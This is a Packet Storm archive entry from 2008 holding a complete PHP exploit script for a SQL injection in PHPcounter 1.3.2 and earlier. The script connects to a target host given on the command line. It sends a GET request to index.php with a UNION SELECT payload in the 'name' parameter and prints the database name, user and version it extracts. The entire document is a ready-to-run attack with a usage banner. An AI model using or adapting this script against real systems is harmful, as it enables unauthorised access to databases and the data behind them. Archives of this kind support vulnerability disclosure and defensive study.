phpcounter-sql.txt

2008-09-29T00:00:00
ID PACKETSTORM:70443
Type packetstorm
Reporter StAkeR
Modified 2008-09-29T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q  
<?php  
  
// PHPcounter <= 1.3.2 Remote SQL Injection Exploit  
// Discovered By: StAkeR - StAkeR[at]hotmail[dot]it  
// Discovered On: 28/09/2008  
// Download: http://sourceforge.net/projects/phpcounter/  
  
error_reporting(0);  
  
$host = $argv[1] or banner();  
$path = $argv[2] or banner();  
$host = str_replace('http://',NULL,$host);  
  
$isql = "'union select 0,0,0,concat(0x24,database(),0x3a,user(),0x3a,version(),0x24)'/*";  
$isql = urlencode($isql);  
  
function banner() {  
echo "[?] Usage: php $argv[0] http://example.com /cms\r\n";  
exit(0);  
}  
  
if(!$sock = fsockopen($host,80)) {  
die("Socket Error\r\n");  
}  
  
$data .= "GET /$path/index.php?name=$isql HTTP/1.1\r\n";  
$data .= "Host: $host\r\n";  
$data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";  
$data .= "Connection: close\r\n\r\n";  
  
fputs($sock,$data);  
  
while(!feof($sock)) {  
$content .= fgets($sock);  
} fclose($sock);   
  
  
if(preg_match('/\$(.+?)\$/',$content,$out)) {  
print "[+] $out[1]\r\n";  
}  
else {  
echo "[!] Exploit Failed!\n";  
}  
  
?>  
  
  
`